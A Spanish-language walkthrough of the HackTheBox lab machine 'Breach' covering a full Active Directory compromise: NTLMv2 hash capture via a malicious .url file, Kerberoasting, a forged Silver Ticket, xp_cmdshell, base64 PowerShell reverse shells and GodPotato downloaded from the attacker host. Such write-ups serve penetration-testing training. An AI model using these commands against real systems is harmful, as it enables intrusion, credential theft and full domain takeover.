HackTheBox - Breach
Breach es una máquina Windows centrada en Active Directory. El vector de entrada aprovecha el acceso como guest a un recurso SMB con permisos de escritura para capturar el hash NTLMv2 de un usuario de dominio mediante un archivo .url malicioso. Con esas credenciales se identifica una cuenta de servicio kerberoastable (svc_mssql), cuyo hash se crackea para obtener su contraseña en texto plano. A continuación, se ejecuta un Silver Ticket Attack para suplantar al Administrador y acceder al servidor MSSQL. A través de xp_cmdshell se consigue ejecución remota de comandos en el sistema. Finalmente, el privilegio SeImpersonatePrivilege se abusa con GodPotato para escalar a nt authority\system.
Reconocimiento
Escaneo de puertos
# Nmap 7.99 scan initiated Thu Jun 11 17:52:05 2026 as: /usr/lib/nmap/nmap -p- --open -sSCV --min-rate 10000 -n -Pn -v -oN scan 10.129.14.89
Nmap scan report for 10.129.14.89
Host is up (0.046s latency).
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-11 21:52:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2026-06-11T21:54:01+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-06-11T21:44:15
| Not valid after: 2056-06-11T21:44:15
| MD5: 21ae 09db 958f 8a89 2007 f9a0 2d7e a3c6
| SHA-1: e514 1214 a2c0 ea3a ea56 52f8 7745 d411 6131 aa21
|_SHA-256: 0f11 b977 a8b5 c324 276b 844b fe8d 95f5 cedd 65be def1 c12d 051c b3c6 5688 0cec
| ms-sql-ntlm-info:
| 10.129.14.89:1433:
| Target_Name: BREACH
| NetBIOS_Domain_Name: BREACH
| NetBIOS_Computer_Name: BREACHDC
| DNS_Domain_Name: breach.vl
| DNS_Computer_Name: BREACHDC.breach.vl
| DNS_Tree_Name: breach.vl
|_ Product_Version: 10.0.20348
| ms-sql-info:
| 10.129.14.89:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: breach.vl, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-06-11T21:54:01+00:00; +1s from scanner time.
| rdp-ntlm-info:
| Target_Name: BREACH
| NetBIOS_Domain_Name: BREACH
| NetBIOS_Computer_Name: BREACHDC
| DNS_Domain_Name: breach.vl
| DNS_Computer_Name: BREACHDC.breach.vl
| DNS_Tree_Name: breach.vl
| Product_Version: 10.0.20348
|_ System_Time: 2026-06-11T21:53:21+00:00
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Issuer: commonName=BREACHDC.breach.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-06-10T21:41:27
| Not valid after: 2026-12-10T21:41:27
| MD5: 7a58 4a0e 5c45 6510 8bb2 1889 3021 a022
| SHA-1: d1b5 d6a2 9048 4894 b05a 159e f6df a7f2 0925 eaff
|_SHA-256: 9b5d b53b 815e 22b0 912a 134e 65eb 19c4 a87f 3208 f35e 7c40 27ef 66d2 c8f0 141b
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49916/tcp open msrpc Microsoft Windows RPC
65259/tcp open msrpc Microsoft Windows RPC
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-06-11T21:53:25
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 11 17:54:02 2026 -- 1 IP address (1 host up) scanned in 117.37 seconds
La presencia de MSSQL (puerto 1433), SMB (puerto 445), LDAP (puerto 389) y Kerberos (puerto 88) confirman que se trata de un Domain Controller. Se añade a /etc/hosts:
┌──(root㉿kali)-[/home/noc/htb/breach/nmap]
└─# echo "10.129.14.89 breach.vl BREACHDC.breach.vl" | sudo tee -a /etc/hosts
10.129.14.89 breach.vl BREACHDC.breach.vl
SMB
Se pude acceder como guest y ver que se tienen permisos de lectura y escritura sobre un share que no es de los creados por defecto: "share":
Se pude acceder como guest. Se tienen permisos de lectura y escritura sobre el share que no es de los creados por defecto "share".
┌──(root㉿kali)-[/home/noc/htb/breach/nmap]
└─# smbclient //breach.vl/share
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jun 11 18:01:52 2026
.. DHS 0 Tue Sep 9 06:35:32 2025
finance D 0 Thu Feb 17 06:19:34 2022
software D 0 Thu Feb 17 06:19:12 2022
transfer D 0 Mon Sep 8 06:13:44 2025
7863807 blocks of size 4096. 1455528 blocks available
finance y software están vacíos. En transfer hay 3 carpetas para 3 usuarios:
smb: \transfer\> ls
. D 0 Mon Sep 8 06:13:44 2025
.. D 0 Thu Jun 11 18:01:52 2026
claire.pope D 0 Thu Feb 17 06:21:35 2022
diana.pope D 0 Thu Feb 17 06:21:19 2022
julia.wong D 0 Wed Apr 16 20:38:12 2025
7863807 blocks of size 4096. 1446487 blocks available
Captura de hash NTLMv2
La idea es la siguiente: Windows procesa automáticamente los iconos de los archivos de una carpeta cuando alguien la navega. Si colocamos un archivo .url con un IconFile apuntando a nuestra IP, el sistema intentará autenticarse contra nosotros para cargar ese icono.
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# cat test.url
[InternetShortcut]
URL=asdasdas
WorkingDirectory=hehe
IconFile=\\10.10.14.190\nc.ico
IconIndex=1
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# smbclient //breach.vl/share
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> cd transfer
smb: \transfer\> put test.url
putting file test.url as \transfer\test.url (0.8 kB/s) (average 0.8 kB/s)
Con Responder escuchando, capturamos el hash NTLMv2 del usuario:
┌──(root㉿kali)-[/home/noc]
└─# responder -I tun0
(...)
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.14.89
[SMB] NTLMv2-SSP Username : BREACH\Julia.Wong
[SMB] NTLMv2-SSP Hash : Julia.Wong::BREACH:9f69db87b5d625af:1D5A3575041CF53BE8073D99FB3948AC:010100000000000000EC2E43CEF9DC01211222DC41C9AA17000000000200080035004D005A00370001001E00570049004E002D004900330045004700560048005A00530042003000500004003400570049004E002D004900330045004700560048005A0053004200300050002E0035004D005A0037002E004C004F00430041004C000300140035004D005A0037002E004C004F00430041004C000500140035004D005A0037002E004C004F00430041004C000700080000EC2E43CEF9DC0106000400020000000800300030000000000000000100000000200000E5A541DC0C7361DB58E8B7D04522973321DAADBD9B1B6FA714475411743640010A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100390030000000000000000000
Usando hashcat con el modo 5600 se obtiene la contraseña de julia.wong: Computer1.
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# hashcat -m 5600 hash_Julia.wong /usr/share/wordlists/rockyou.txt --show
JULIA.WONG::BREACH:9f69db87b5d625af:1d5a3575041cf53be8073d99fb3948ac:010100000000000000ec2e43cef9dc01211222dc41c9aa17000000000200080035004d005a00370001001e00570049004e002d004900330045004700560048005a00530042003000500004003400570049004e002d004900330045004700560048005a0053004200300050002e0035004d005a0037002e004c004f00430041004c000300140035004d005a0037002e004c004f00430041004c000500140035004d005a0037002e004c004f00430041004c000700080000ec2e43cef9dc0106000400020000000800300030000000000000000100000000200000e5a541dc0c7361db58e8b7d04522973321daadbd9b1b6fa714475411743640010a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100390030000000000000000000:Computer1
Con las credenciales de julia.wong se puede leer el user.txt en su carpeta:
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# smbclient //breach.vl/share -U 'julia.wong%Computer1'
Try "help" to get a list of possible commands.
smb: \transfer\julia.wong\> ls
. D 0 Wed Apr 16 20:38:12 2025
.. D 0 Thu Jun 11 18:22:58 2026
user.txt A 32 Wed Apr 16 20:38:22 2025
7863807 blocks of size 4096. 1562002 blocks available
smb: \transfer\julia.wong\> get user.txt
getting file \transfer\julia.wong\user.txt of size 32 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# cat user.txt
55d33e52bc5...
Movimiento Lateral - Kerberoasting
Se puede enumerar más en profundidad utilizando bloodhound-python:
bloodhound-python -d breach.vl -u 'julia.wong' -p 'Computer1' -dc 'BREACHDC.breach.vl' -c all -ns 10.129.14.89
---
neo4j start
---
bloodhound
Una vez cargados los datos en Bloodhound CE, se buscan cuentas kerberoastables. Una cuenta es kerberoastable cuando tiene un SPN asignado, lo que significa que está vinculada a algún servicio, y cualquier usuario del dominio puede solicitar su ticket TGS sin necesitar privilegios especiales. Ese ticket viene cifrado con la contraseña de la cuenta, así que si la contraseña es débil se puede crackear offline. Con la siguiente query Cypher:
MATCH (u:User {hasspn:true}) RETURN u
Aparece svc_mssql con el SPN MSSQLSvc/breachdc.breach.vl:1433. También aparece KRBTGT, pero esta no tiene sentido atacarla ya que su contraseña es compleja y el propio DC la rota automáticamente.
El ataque Kerberoasting consiste en solicitar el ticket TGS de esa cuenta. El ticket viene cifrado con el hash de la contraseña y si es débil se puede crackear con hashcat.
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# GetUserSPNs.py 'breach.vl/julia.wong:Computer1' -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------------------- --------- -------- -------------------------- -------------------------- ----------
MSSQLSvc/breachdc.breach.vl:1433 svc_mssql 2022-02-17 05:43:08.106169 2026-06-11 17:44:11.635489
[-] CCache file is not found. Skipping...
\(krb5tgs\)23\(*svc_mssql\)BREACH.VL\(breach.vl/svc_mssql*\)d3e6569824e506c844e913becdc39764$47c480659460d81bad6f9339582d5f01c6e44d4659607781b16338386b492bcd1f3134411786f088ab005e020c256026887932103f87f23ee7548d7071eeaacb5afe1183dab11509b8f9f38d7e4a4dc8383afcfc26b4b9b162b5898afd2c8ef635221ddde4feaac1aaf14e0b9b97a9aaa888d03ad185842376795fb4e644ca55173f477825c9d46e3e136e31e99303c860f3c1d93bb22f35726654e2e735325133b054e2db1e9cf90166209673c6fee73c0f3af9876d4d7c8a4ffa368d0acb13f6fe313895c0b295fa7c20e049a16fe020cc88bf613e4a27e4d17e3e041f0d2431de89f88c820983f9e5bd391be5038ba86661c6d6f1fd455bcae8f441f021a780f20b7b4060f56b41e4b59c1a25bf85b3bf99d058e10cd74fc587a22a70325e0520d89324c469d2244d0a046a38fcfea08463bbdce0e2564446638d1f93e1034f6c48d394dce816049b34a1fc76d7434019cf18becc7b31627e9ab30722d01d09510780314165dfb60a241bee422b7496515f7d28c98622e6bb944cf3d2128b68dab09e82a5a6491908307c21ad1a94c7100f4136f2e98470f1e7bb9f8fcb4c68846a031183af73205443d2436c57cb932c965e6bb919acb8fc062bf632aaea710355772c8cb69893ae9c96bb0b5f4cbbc4ebe865a2d5e08a17c5c09de53355ee6f21675773b0187d0b40621bd38016b3e545517cb5e9bd01d13de5255e406bc1a8beacd777b2b135d2615dfe3c18fa01048323894ea13ccbba4bcaf6197404a4e0ad30e430cad152bc31371200966aa19a6093da0ddfb1dae7b448f6516bb92f36edc9fa409132e10d4cc8e9805d4b54e349e90aeaca06a155ca22b794e84b676c8b62dd95365c3e41571c074bc0ea3ff28539635580214b658e59f4683a6cffb0cdbda49eae3910cd0d7d4f089487d7f7f56c8117ec388d9106c571f6f865352fa4e3b63344a523d70f38536035ed31ca1ac7e7b1bb4c55db70744972f153721586bf32546961e9d4dae8f59d6b30d72b00e060d3f9c6eb5340fedc0fadf5fc195b4600bbbba0ccb8fe68a7e42c8bf8886c24d66b916361ecc7cd7db1757a27ad32e585ec7e36c95eafa202d013169348358166445768dadcfdccd213634b42906289968aa5e93e3b80d723acc56c6c6713303a21e112456825c55e5088ec19dc91fdf3f036bed92741b840b03e298d4e726255fd27e50996541d4d614eabcfd3a28e02fe36d87378b6af02bfeccdab304f99b600abf89f40c25c32c2ea29bca0a14b2733fab6a3479a6b4c4b210653e8b73987a7de044a92fe87d587600897d4a5bb023ffec8881fe0c8c8165a18714a4f18c19fbeaa6acc6061a6c16fabf474c8f0c3980aedc54b0089f24e8762b18087d8bc6de33ff3530e3342162ac32f0fcb406904a33396a5f1cc5156279232c74be9deed5b3c5213d76348cb408791b7cc9341ac416b9c871d8c3d11abcc14a81722
Con GetUserSPNs.py se obtiene el hash en formato KRB5TGS tipo 23, que corresponde al modo 13100 de hashcat:
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# hashcat -m 13100 hash_scv_mssql /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-sandybridge-AMD Ryzen 7 8700G w/ Radeon 780M Graphics, 19848/39697 MB (8192 MB allocatable), 6MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 513 MB (36986 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
\(krb5tgs\)23\(*svc_mssql\)BREACH.VL\(breach.vl/svc_mssql*\)d3e6569824e506c844e913becdc39764$47c480659460d81bad6f9339582d5f01c6e44d4659607781b16338386b492bcd1f3134411786f088ab005e020c256026887932103f87f23ee7548d7071eeaacb5afe1183dab11509b8f9f38d7e4a4dc8383afcfc26b4b9b162b5898afd2c8ef635221ddde4feaac1aaf14e0b9b97a9aaa888d03ad185842376795fb4e644ca55173f477825c9d46e3e136e31e99303c860f3c1d93bb22f35726654e2e735325133b054e2db1e9cf90166209673c6fee73c0f3af9876d4d7c8a4ffa368d0acb13f6fe313895c0b295fa7c20e049a16fe020cc88bf613e4a27e4d17e3e041f0d2431de89f88c820983f9e5bd391be5038ba86661c6d6f1fd455bcae8f441f021a780f20b7b4060f56b41e4b59c1a25bf85b3bf99d058e10cd74fc587a22a70325e0520d89324c469d2244d0a046a38fcfea08463bbdce0e2564446638d1f93e1034f6c48d394dce816049b34a1fc76d7434019cf18becc7b31627e9ab30722d01d09510780314165dfb60a241bee422b7496515f7d28c98622e6bb944cf3d2128b68dab09e82a5a6491908307c21ad1a94c7100f4136f2e98470f1e7bb9f8fcb4c68846a031183af73205443d2436c57cb932c965e6bb919acb8fc062bf632aaea710355772c8cb69893ae9c96bb0b5f4cbbc4ebe865a2d5e08a17c5c09de53355ee6f21675773b0187d0b40621bd38016b3e545517cb5e9bd01d13de5255e406bc1a8beacd777b2b135d2615dfe3c18fa01048323894ea13ccbba4bcaf6197404a4e0ad30e430cad152bc31371200966aa19a6093da0ddfb1dae7b448f6516bb92f36edc9fa409132e10d4cc8e9805d4b54e349e90aeaca06a155ca22b794e84b676c8b62dd95365c3e41571c074bc0ea3ff28539635580214b658e59f4683a6cffb0cdbda49eae3910cd0d7d4f089487d7f7f56c8117ec388d9106c571f6f865352fa4e3b63344a523d70f38536035ed31ca1ac7e7b1bb4c55db70744972f153721586bf32546961e9d4dae8f59d6b30d72b00e060d3f9c6eb5340fedc0fadf5fc195b4600bbbba0ccb8fe68a7e42c8bf8886c24d66b916361ecc7cd7db1757a27ad32e585ec7e36c95eafa202d013169348358166445768dadcfdccd213634b42906289968aa5e93e3b80d723acc56c6c6713303a21e112456825c55e5088ec19dc91fdf3f036bed92741b840b03e298d4e726255fd27e50996541d4d614eabcfd3a28e02fe36d87378b6af02bfeccdab304f99b600abf89f40c25c32c2ea29bca0a14b2733fab6a3479a6b4c4b210653e8b73987a7de044a92fe87d587600897d4a5bb023ffec8881fe0c8c8165a18714a4f18c19fbeaa6acc6061a6c16fabf474c8f0c3980aedc54b0089f24e8762b18087d8bc6de33ff3530e3342162ac32f0fcb406904a33396a5f1cc5156279232c74be9deed5b3c5213d76348cb408791b7cc9341ac416b9c871d8c3d11abcc14a81722:Trustno1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: \(krb5tgs\)23\(*svc_mssql\)BREACH.VL$breach.vl/svc_mssq...a81722
Time.Started.....: Thu Jun 11 19:03:08 2026 (0 secs)
Time.Estimated...: Thu Jun 11 19:03:08 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 2768.1 kH/s (1.53ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 55296/14344385 (0.39%)
Rejected.........: 0/55296 (0.00%)
Restore.Point....: 49152/14344385 (0.34%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: truckin -> grad2010
Hardware.Mon.#01.: Util: 19%
Started: Thu Jun 11 19:03:07 2026
Stopped: Thu Jun 11 19:03:10 2026
Silver Ticket Attack
La contraseña de svc_mssql es Trustno1. El SPN asignado a svc_mssql es MSSQLSvc/breachdc.breach.vl:1433, lo que indica que esta cuenta es la que ejecuta el servicio MSSQL en el puerto 1433. Se puede fabricar un Silver Ticket para suplantar a cualquier usuario del dominio (en este caso Administrator) y acceder a ese servicio.
Para construir el ticket se necesita:
- El SID del dominio, que se obtiene con
lookupsid.py:
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# lookupsid.py breach.vl/julia.wong:Computer1@breach.vl
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at breach.vl
[*] StringBinding ncacn_np:breach.vl[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2330692793-3312915120-706255856
498: BREACH\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: BREACH\Administrator (SidTypeUser)
(...)
- El hash NT de la contraseña de
svc_mssql, que se genera conpypykatz:
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# pypykatz crypto nt Trustno1
69596c7aa1e8daee17f8e78870e25a5c
Con todo lo necesario, ticketer.py de Impacket genera el Silver Ticket:
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# ticketer.py \
-spn MSSQLSvc/breachdc.breach.vl:1433 \
-domain-sid S-1-5-21-2330692793-3312915120-706255856 \
-nthash 69596c7aa1e8daee17f8e78870e25a5c \
-dc-ip 10.129.14.89 \
-domain breach.vl \
-user-id 500 \
Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
El ticket se guarda como Administrator.ccache. Al conectarse como Administrator, se puede habilitar xp_cmdshell para ejecutar comandos.
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# export KRB5CCNAME=Administrator.ccache
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# mssqlclient.py -k -no-pass -windows-auth breachdc.breach.vl
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(BREACHDC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator dbo@master)> EXEC sp_configure 'show advanced options', 1;
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator dbo@master)> RECONFIGURE;
SQL (BREACH\Administrator dbo@master)> EXEC sp_configure 'xp_cmdshell', 1;
INFO(BREACHDC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator dbo@master)> RECONFIGURE;
SQL (BREACH\Administrator dbo@master)> EXEC xp_cmdshell 'whoami';
output
----------------
breach\svc_mssql
NULL
Se genera una reverse shell con el payload "PowerShell #3 (Base64)" de revshells.com, y se lanza desde xp_cmdshell:
SQL (BREACH\Administrator dbo@master)> EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA5ADAAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
┌──(root㉿kali)-[/home/noc/htb/breach/content]
└─# rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.190] from (UNKNOWN) [10.129.14.89] 51008
whoami
breach\svc_mssql
PS C:\Windows\system32>
Escalada de Privilegios
SeImpersonatePrivilege está habilitado. Este privilegio permite a un proceso suplantar la identidad de otro usuario después de que este se autentique contra él. Existen varios exploits como JuicyPotato o GodPotato.
GodPotato abusa de SeImpersonatePrivilege a través de una vulnerabilidad en la forma en que Windows gestiona las activaciones de objetos COM. Cuando un proceso solicita activar un objeto COM que requiere elevación, el sistema operativo lo procesa a través del servicio RPCSS, que corre como SYSTEM. GodPotato manipula este flujo registrando un servidor COM malicioso y forzando a RPCSS a autenticarse contra él mediante una llamada RPC. En el momento en que SYSTEM se autentica, Windows entrega un token de suplantación al proceso que recibe la conexión — y como tenemos SeImpersonatePrivilege, podemos usar ese token para ejecutar código como el usuario nt authority\system.
PS C:\Windows\Temp> curl http://10.10.14.190/GodPotato-NET4.exe -o GodPotato.exe
PS C:\Windows\Temp> .\GodPotato.exe
FFFFF FFF FFFFFFF
FFFFFFF FFF FFFFFFFF
FFF FFFF FFF FFF FFF FFF FFF
FFF FFF FFF FFF FFF FFF FFF
FFF FFF FFF FFF FFF FFF FFF
FFFF FFFFFFF FFFFFFFF FFF FFF FFFFFFF FFFFFFFFF FFFFFF FFFFFFFFF FFFFFF
FFFF FFFF FFFF FFF FFFF FFF FFFF FFFF FFFF FFF FFF FFF FFF FFF FFFF
FFFF FFFFF FFF FFF FFF FFF FFFFFFFF FFF FFF FFF F FFF FFF FFF FFF
FFFF FFF FFF FFFFFFF FFF FFF FFFF FFF FFF FFFFF FFF FFF FFFF
FFFF FFF FFF FFFFFFF FFF FFF FFFF FFF FFF FFFFFFFF FFF FFF FFFF
FFF FFF FFF FFF FFF FFF FFF FFF FFF FFF FFFF FFF FFF FFF FFFF
FFFF FFFF FFFF FFF FFFF FFF FFF FFF FFFF FFF FFFF FFF FFF FFFF FFF
FFFFFFFF FFFFFFF FFFFFFFF FFF FFFFFFF FFFFFF FFFFFFFF FFFFFFF FFFFFFF
FFFFFFF FFFFF FFFFFFF FFF FFFFF FFFFF FFFFFFFF FFFF FFFF
Arguments:
-cmd Required:True CommandLine (default cmd /c whoami)
Example:
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "cmd /c whoami"
Se sirve el binario desde Kali, se descarga en la máquina y se ejecuta de nuevo una reverse shell:
PS C:\Windows\Temp> .\GodPotato.exe -cmd 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA5ADAAIgAsADQANAA0ADUAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgAC